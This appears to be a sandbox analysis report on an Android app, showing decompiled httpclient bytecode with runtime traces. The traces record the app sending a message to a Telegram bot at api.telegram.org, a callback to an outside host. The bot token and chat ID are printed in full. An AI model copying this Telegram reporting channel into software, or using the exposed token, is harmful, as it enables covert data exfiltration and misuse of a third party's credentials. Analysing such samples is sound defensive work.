        3Lcz/msebera/android/httpclient/client/ClientProtocolException;
        4}
        5.end annotation
        6move-object/from16 v14, p0
        7move-object/from16 v0, p1
        8move-object/from16 v15, p2
        9move-object/from16 v1, p3
        11const-string v2, "HTTP request"
        13invoke-static {v15, v2}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14monitor-enter p0
        15try_start_e:
        16invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->createHttpContext()Lcz/msebera/android/httpclient/protocol/HttpContext;
        17move-result-object v2
        18if-nez v1, :cond_16
        19move-object v13, v2
        20goto/16 :goto_1c
        21cond_16: new-instance v3, Lcz/msebera/android/httpclient/protocol/DefaultedHttpContext;
        23invoke-direct {v3, v1, v2}, Lcz/msebera/android/httpclient/protocol/DefaultedHttpContext;-><init>(Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        24move-object v13, v3
        25goto_1c:
        26invoke-virtual {v14, v15}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->determineParams(Lcz/msebera/android/httpclient/HttpRequest;)Lcz/msebera/android/httpclient/params/HttpParams;
        27move-result-object v16
        29invoke-static/range {v16 .. v16}, Lcz/msebera/android/httpclient/client/params/HttpClientParamConfig;->getRequestConfig(Lcz/msebera/android/httpclient/params/HttpParams;)Lcz/msebera/android/httpclient/client/config/RequestConfig;
        30move-result-object v1
        32const-string v2, "http.request-config"
        34invoke-interface {v13, v2, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        36invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getRequestExecutor()Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        37move-result-object v2
        39invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getConnectionManager()Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        40move-result-object v3
        42invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getConnectionReuseStrategy()Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        43move-result-object v4
        45invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getConnectionKeepAliveStrategy()Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;
        46move-result-object v5
        48invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getRoutePlanner()Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;
        49move-result-object v6
        51invoke-direct/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getProtocolProcessor()Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        52move-result-object v7
        54invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getHttpRequestRetryHandler()Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;
        55move-result-object v8
        57invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getRedirectStrategy()Lcz/msebera/android/httpclient/client/RedirectStrategy;
        58move-result-object v9
        60invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getTargetAuthenticationStrategy()Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        61move-result-object v10
        63invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getProxyAuthenticationStrategy()Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        64move-result-object v11
        66invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getUserTokenHandler()Lcz/msebera/android/httpclient/client/UserTokenHandler;
        67move-result-object v12
        68move-object/from16 v1, p0
        69move-object/from16 v17, v13
        70move-object/from16 v13, v16
        72invoke-virtual/range {v1 .. v13}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->createClientRequestDirector(Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;Lcz/msebera/android/httpclient/conn/ClientConnectionManager;Lcz/msebera/android/httpclient/ConnectionReuseStrategy;Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;Lcz/msebera/android/httpclient/protocol/HttpProcessor;Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;Lcz/msebera/android/httpclient/client/RedirectStrategy;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/client/UserTokenHandler;Lcz/msebera/android/httpclient/params/HttpParams;)Lcz/msebera/android/httpclient/client/RequestDirector;
        73move-result-object v1
        75invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getRoutePlanner()Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;
        76move-result-object v2
        78invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getConnectionBackoffStrategy()Lcz/msebera/android/httpclient/client/ConnectionBackoffStrategy;
        79move-result-object v3
        81invoke-virtual/range {p0 .. p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getBackoffManager()Lcz/msebera/android/httpclient/client/BackoffManager;
        82move-result-object v4
        83monitor-exit p0
        84try_end_6c: if-eqz v3, :cond_c7
        85if-eqz v4, :cond_c7
        86if-eqz v0, :cond_76
        87move-object v6, v0
        88goto_73: move-object/from16 v5, v17
        89goto/16 :goto_84
        90cond_76:
        91invoke-virtual {v14, v15}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->determineParams(Lcz/msebera/android/httpclient/HttpRequest;)Lcz/msebera/android/httpclient/params/HttpParams;
        92move-result-object v5
        94const-string v6, "http.default-host"
        96invoke-interface {v5, v6}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        97move-result-object v5
        98check-cast v5, Lcz/msebera/android/httpclient/HttpHost;
        99move-object v6, v5
        100goto/16 :goto_73
        101goto_84:
        102invoke-interface {v2, v6, v15, v5}, Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;->determineRoute(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        103move-result-object v2
        104try_start_88:
        105invoke-interface {v1, v0, v15, v5}, Lcz/msebera/android/httpclient/client/RequestDirector;->execute(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        106move-result-object v0
        108invoke-static {v0}, Lcz/msebera/android/httpclient/impl/client/CloseableHttpResponseProxy;->newProxy(Lcz/msebera/android/httpclient/HttpResponse;)Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;
        109move-result-object v0
        110try_start_90:
        111invoke-interface {v3, v0}, Lcz/msebera/android/httpclient/client/ConnectionBackoffStrategy;->shouldBackoff(Lcz/msebera/android/httpclient/HttpResponse;)Z
        112move-result v1
        113if-eqz v1, :cond_9a
        115invoke-interface {v4, v2}, Lcz/msebera/android/httpclient/client/BackoffManager;->backOff(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        116goto/16 :goto_9d
        117cond_9a:
        118invoke-interface {v4, v2}, Lcz/msebera/android/httpclient/client/BackoffManager;->probe(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        119goto_9d: return-object v0
        120catch_9e: move-exception v0
        122invoke-interface {v3, v0}, Lcz/msebera/android/httpclient/client/ConnectionBackoffStrategy;->shouldBackoff(Ljava/lang/Throwable;)Z
        123move-result v1
        124if-eqz v1, :cond_a8
        126invoke-interface {v4, v2}, Lcz/msebera/android/httpclient/client/BackoffManager;->backOff(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        127cond_a8: instance-of v1, v0, Lcz/msebera/android/httpclient/HttpException;
        128if-nez v1, :cond_b9
        129instance-of v1, v0, Ljava/io/IOException;
        130if-eqz v1, :cond_b3
        131check-cast v0, Ljava/io/IOException;
        132throw v0
        133cond_b3: new-instance v1, Ljava/lang/reflect/UndeclaredThrowableException;
        135invoke-direct {v1, v0}, Ljava/lang/reflect/UndeclaredThrowableException;-><init>(Ljava/lang/Throwable;)V
        136throw v1
        137cond_b9: check-cast v0, Lcz/msebera/android/httpclient/HttpException;
        138throw v0
        139catch_bc: move-exception v0
        141invoke-interface {v3, v0}, Lcz/msebera/android/httpclient/client/ConnectionBackoffStrategy;->shouldBackoff(Ljava/lang/Throwable;)Z
        142move-result v1
        143if-eqz v1, :cond_c6
        145invoke-interface {v4, v2}, Lcz/msebera/android/httpclient/client/BackoffManager;->backOff(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        146cond_c6: throw v0
        147cond_c7: move-object/from16 v5, v17
        149invoke-interface {v1, v0, v15, v5}, Lcz/msebera/android/httpclient/client/RequestDirector;->execute(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        150move-result-object v0
        152invoke-static {v0}, Lcz/msebera/android/httpclient/impl/client/CloseableHttpResponseProxy;->newProxy(Lcz/msebera/android/httpclient/HttpResponse;)Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;
        • Time: 1304873
          • This:
            • HTTP/1.1 200 OK
          • Return:
            • OK
        • Time: 1304890
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@797afe1
          • p0: java.lang.String@c32a106
        • Time: 1304892
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@797afe1
          • p0: OK
        • Time: 1304894
          • This:
            • java.lang.String@f4293c7
          • p0: [C@b49bdf4
          • p0: HTTP/1.1 200 OK
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@68d9e5b
          • Return:
            • java.lang.String@f4293c7
        • Time: 1304898
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@797afe1
          • Return:
            • java.lang.String@f4293c7
        • Time: 1304900
          • This:
            • java.lang.String@4fe691d
          • p0: [C@22deaa4
          • p0: Server: nginx/1.12.2
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@637369c
          • Return:
            • java.lang.String@4fe691d
        • Time: 1304911
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@cdf8a5
          • Return:
            • java.lang.String@4fe691d
        • Time: 1304913
          • This:
            • java.lang.String@dc7c792
          • p0: [C@c76120e
          • p0: Date: Tue, 12 Feb 2019 13:29:49 GMT
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@3723e46
          • Return:
            • java.lang.String@dc7c792
        • Time: 1304920
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@6c20807
          • Return:
            • java.lang.String@dc7c792
        • Time: 1304925
          • This:
            • java.lang.String@9caa563
          • p0: [C@1ea3c
          • p0: Content-Type: application/json
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@783f8d2
          • Return:
            • java.lang.String@9caa563
        • Time: 1304933
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@d6d1da3
          • Return:
            • java.lang.String@9caa563
        • Time: 1304935
          • This:
            • java.lang.String@73ec560
          • p0: [C@faed44b
          • p0: Content-Length: 243
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@829f0ff
          • Return:
            • java.lang.String@73ec560
        • Time: 1304938
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@5837ecc
          • Return:
            • java.lang.String@73ec560
        • Time: 1304940
          • This:
            • java.lang.String@e1d7a19
          • p0: [C@a2654e6
          • p0: Connection: keep-alive
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@41e4354
          • Return:
            • java.lang.String@e1d7a19
        • Time: 1304942
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@cfbbb8
          • Return:
            • java.lang.String@e1d7a19
        • Time: 1304944
          • This:
            • java.lang.String@616cade
          • p0: [C@ec5167d
          • p0: Access-Control-Allow-Origin: *
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@783f8d2
          • Return:
            • java.lang.String@616cade
        • Time: 1304946
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@8a0db64
          • Return:
            • java.lang.String@616cade
        • Time: 1304949
          • This:
            • java.lang.String@f3834bf
          • p0: [C@fe9da40
          • p0: Access-Control-Allow-Methods: GET, POST, OPTIONS
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@1b0b593
          • Return:
            • java.lang.String@f3834bf
        • Time: 1304951
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@24249d0
          • Return:
            • java.lang.String@f3834bf
        • Time: 1304957
          • This:
            • java.lang.String@5bad78c
          • p0: [C@4e2771f
          • p0: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@a4a32fc
          • Return:
            • java.lang.String@5bad78c
        • 3 additional calls hidden ...
        153move-result-object v0
        154try_end_d1: return-object v0
        155catch_d2: move-exception v0
        156new-instance v1, Lcz/msebera/android/httpclient/client/ClientProtocolException;
        158invoke-direct {v1, v0}, Lcz/msebera/android/httpclient/client/ClientProtocolException;-><init>(Ljava/lang/Throwable;)V
        159throw v1
        160catchall_d9: move-exception v0
        161try_start_da: monitor-exit p0
        162try_end_db: throw v0
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getMethod
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • HTTP request
        • HTTP context
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@a81a21d
        • java.lang.String@c1438e0
        • java.lang.String@ea985a2
        • java.lang.String@ee70663
        • CONNECT
        • Authorization
        • http.auth.target-scope
        • Target auth state not set in the context
        • Target auth state:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string v0, "HTTP request"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP context"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        16move-result-object v0
        18invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1303406
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@d032984
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@d032984
          • Return:
            • java.lang.String@c1438e0
          • Return:
            • java.lang.String@c1438e0
        • Time: 1303408
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@d032984
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303411
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@117156d
          • p0: java.lang.String@c1438e0
        • Time: 1303414
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@117156d
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303423
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@117156d
          • p0: java.lang.String@a81a21d
        • Time: 1303425
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@117156d
          • p0: java.lang.String@ee70663
        • Time: 1303429
          • This:
            • java.lang.String@ea985a2
          • p0: [C@2317233
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@64b59f0
          • Return:
            • java.lang.String@ea985a2
        • Time: 1303432
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@117156d
          • Return:
            • java.lang.String@ea985a2
        19move-result-object v0
        21const-string v1, "CONNECT"
        23invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1303437
          • This:
            • java.lang.String@c1438e0
          • p0: CONNECT
          • Return:
            • false
        24move-result v0
        25if-eqz v0, :cond_1b
        26return-void
        27cond_1b:
        28const-string v0, "Authorization"
        30invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        31move-result v0
        32if-eqz v0, :cond_24
        33return-void
        34cond_24:
        35const-string v0, "http.auth.target-scope"
        37invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        38move-result-object v0
        39check-cast v0, Lcz/msebera/android/httpclient/auth/AuthState;
        40if-nez v0, :cond_36
        42iget-object p1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestTargetAuthentication;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        44const-string p2, "Target auth state not set in the context"
        46invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        47return-void
        48cond_36:
        49iget-object v1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestTargetAuthentication;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        51invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        52move-result v1
        53if-eqz v1, :cond_58
        55iget-object v1, p0, Lcz/msebera/android/httpclient/client/protocol/RequestTargetAuthentication;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        56new-instance v2, Ljava/lang/StringBuilder;
        58invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        60const-string v3, "Target auth state: "
        62invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        64invoke-virtual {v0}, Lcz/msebera/android/httpclient/auth/AuthState;->getState()Lcz/msebera/android/httpclient/auth/AuthProtocolState;
        65move-result-object v3
        67invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        69invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        70move-result-object v2
        72invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        73cond_58:
        74invoke-virtual {p0, v0, p1, p2}, Lcz/msebera/android/httpclient/client/protocol/RequestTargetAuthentication;->process(Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        75return-void
        Cross References
        APIs
        • java.util.ArrayList.<init>
        • java.util.List.size
        • java.util.List.get
        • cz.msebera.android.httpclient.message.BufferedHeader.getName
        • java.lang.String.equalsIgnoreCase
        • java.util.List.add
        • java.util.List.size
        • java.util.List.toArray
        Strings
        • Access-Control-Allow-Methods
        • Access-Control-Allow-Origin
        • Access-Control-Expose-Headers
        • Connection
        • Content-Length
        • Content-Type
        • Date
        • Server
        • Strict-Transport-Security
        • java.lang.String@6158cb6
        Position Instruction Meta Information
        0new-instance v0, Ljava/util/ArrayList;
        2invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
        3const/4 v1, 0x0
        4goto_6:
        5iget-object v2, p0, Lcz/msebera/android/httpclient/message/HeaderGroup;->headers:Ljava/util/List;
        7invoke-interface {v2}, Ljava/util/List;->size()I
        8move-result v2
        9if-ge v1, v2, :cond_26
        11iget-object v2, p0, Lcz/msebera/android/httpclient/message/HeaderGroup;->headers:Ljava/util/List;
        13invoke-interface {v2, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
        14move-result-object v2
        15check-cast v2, Lcz/msebera/android/httpclient/Header;
        17invoke-interface {v2}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        • Time: 1304308
          • This:
            • Server: nginx/1.12.2
          • Return:
            • Server
        • Time: 1304315
          • This:
            • Date: Tue, 12 Feb 2019 13:29:49 GMT
          • Return:
            • Date
        • Time: 1304327
          • This:
            • Content-Type: application/json
          • Return:
            • Content-Type
        • Time: 1304332
          • This:
            • Content-Length: 243
          • Return:
            • Content-Length
        • Time: 1304336
          • This:
            • Connection: keep-alive
          • Return:
            • Connection
        • Time: 1304346
          • This:
            • Access-Control-Allow-Origin: *
          • Return:
            • Access-Control-Allow-Origin
        • Time: 1304353
          • This:
            • Access-Control-Allow-Methods: GET, POST, OPTIONS
          • Return:
            • Access-Control-Allow-Methods
        • Time: 1304356
          • This:
            • Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
          • Return:
            • Access-Control-Expose-Headers
        • Time: 1304360
          • This:
            • Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
          • Return:
            • Strict-Transport-Security
        18move-result-object v3
        20invoke-virtual {v3, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1304313
          • This:
            • Server
          • p0: java.lang.String@6158cb6
          • Return:
            • false
        • Time: 1304334
          • This:
            • Content-Length
          • p0: java.lang.String@6158cb6
          • Return:
            • true
        21move-result v3
        22if-eqz v3, :cond_23
        24invoke-interface {v0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        25cond_23: add-int/lit8 v1, v1, 0x1
        26goto/16 :goto_6
        27cond_26:
        28invoke-interface {v0}, Ljava/util/List;->size()I
        29move-result p1
        30new-array p1, p1, [Lcz/msebera/android/httpclient/Header;
        32invoke-interface {v0, p1}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
        33move-result-object p1
        34check-cast p1, [Lcz/msebera/android/httpclient/Header;
        35return-object p1
        Cross References
        APIs
        • cz.msebera.android.httpclient.message.BasicHeader.getName
        • cz.msebera.android.httpclient.message.BasicHeader.getValue
        • java.lang.String.length
        • cz.msebera.android.httpclient.util.CharArrayBuffer.append
        Strings
        • Accept-Encoding
        • Connection
        • Host
        • java.lang.String@6158cb6
        • java.lang.String@c23467b
        • java.lang.String@fad35f
        • api.telegram.org
        • java.lang.String@2d08db7
        • java.lang.String@9df7243
        • :
        • java.lang.String@c744c8d
        Position Instruction Meta Information
        1invoke-interface {p2}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        • Time: 1303709
          • This:
            • Content-Length: 0
          • Return:
            • java.lang.String@6158cb6
        • Time: 1303726
          • This:
            • Host: api.telegram.org
          • Return:
            • Host
        • Time: 1303737
          • This:
            • Connection: Keep-Alive
          • Return:
            • Connection
        • Time: 1303759
          • This:
            • Accept-Encoding: gzip
          • This:
            • Accept-Encoding: gzip
          • Return:
            • Accept-Encoding
          • Return:
            • Accept-Encoding
        • Time: 1303762
          • This:
            • Accept-Encoding: gzip
          • Return:
            • java.lang.String@fad35f
        • Time: 1303765
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@1ad21ac
          • p0: Accept-Encoding
        • Time: 1303768
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@1ad21ac
          • p0: java.lang.String@c744c8d
        • Time: 1303775
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@1ad21ac
          • p0: java.lang.String@fad35f
        • Time: 1303778
          • This:
            • java.lang.String@c23467b
          • p0: [C@8a0ac98
          • p0: Accept-Encoding: gzip
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@68ffcf1
          • Return:
            • java.lang.String@c23467b
        • Time: 1303783
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@1ad21ac
          • Return:
            • java.lang.String@c23467b
        2move-result-object v0
        4invoke-interface {p2}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        • Time: 1303711
          • This:
            • Content-Length: 0
          • Return:
            • java.lang.String@2d08db7
        • Time: 1303727
          • This:
            • Host: api.telegram.org
          • Return:
            • api.telegram.org
        • Time: 1303740
          • This:
            • Connection: Keep-Alive
          • Return:
            • java.lang.String@9df7243
        • Time: 1303786
          • This:
            • Accept-Encoding: gzip
          • Return:
            • java.lang.String@fad35f
        5move-result-object p2
        7invoke-virtual {v0}, Ljava/lang/String;->length()I
        8move-result v1
        9add-int/lit8 v1, v1, 0x2
        10if-eqz p2, :cond_15
        12invoke-virtual {p2}, Ljava/lang/String;->length()I
        13move-result v2
        14add-int/2addr v1, v2
        15cond_15:
        16invoke-virtual {p1, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->ensureCapacity(I)V
        18invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        • Time: 1303714
          • This:
            • GET
          • p0: java.lang.String@6158cb6
        • Time: 1303729
          • This:
            • GET
          • p0: Host
        • Time: 1303741
          • This:
            • GET
          • p0: Connection
        • Time: 1303796
          • This:
            • GET
          • p0: Accept-Encoding
        20const-string v0, ": "
        22invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        • Time: 1303718
          • This:
            • GET
          • p0: java.lang.String@c744c8d
        23if-eqz p2, :cond_25
        25invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        • Time: 1303720
          • This:
            • GET
          • p0: java.lang.String@2d08db7
        • Time: 1303733
          • This:
            • GET
          • p0: api.telegram.org
        • Time: 1303747
          • This:
            • GET
          • p0: java.lang.String@9df7243
        • Time: 1303803
          • This:
            • GET
          • p0: java.lang.String@fad35f
        26cond_25: return-void
        APIs
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • cz.msebera.android.httpclient.message.BufferedHeader.getValue
        • java.lang.Long.parseLong
        Strings
        • HTTP message
        • Transfer-Encoding
        • identity
        • chunked
        • Invalid Transfer-Encoding header value:
        • Content-Length
        • 243
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;
        3}
        4.end annotation
        6const-string v0, "HTTP message"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Transfer-Encoding"
        12invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpMessage;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        13move-result-object v0
        14const-wide/16 v1, -0x1
        15if-eqz v0, :cond_4f
        16try_start_f:
        17invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        18move-result-object p1
        19try_end_13: array-length v3, p1
        21const-string v4, "identity"
        23invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        24move-result-object v0
        26invoke-virtual {v4, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        27move-result v0
        28if-eqz v0, :cond_21
        29return-wide v1
        30cond_21: if-lez v3, :cond_36
        32const-string v0, "chunked"
        33add-int/lit8 v3, v3, -0x1
        34aget-object p1, p1, v3
        36invoke-interface {p1}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        37move-result-object p1
        39invoke-virtual {v0, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        40move-result p1
        41if-eqz p1, :cond_36
        42const-wide/16 v0, -0x2
        43return-wide v0
        44cond_36: return-wide v1
        45catch_37: move-exception p1
        46new-instance v1, Lcz/msebera/android/httpclient/ProtocolException;
        47new-instance v2, Ljava/lang/StringBuilder;
        49invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        51const-string v3, "Invalid Transfer-Encoding header value: "
        53invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        55invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        57invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        58move-result-object v0
        60invoke-direct {v1, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        61throw v1
        62cond_4f:
        63const-string v0, "Content-Length"
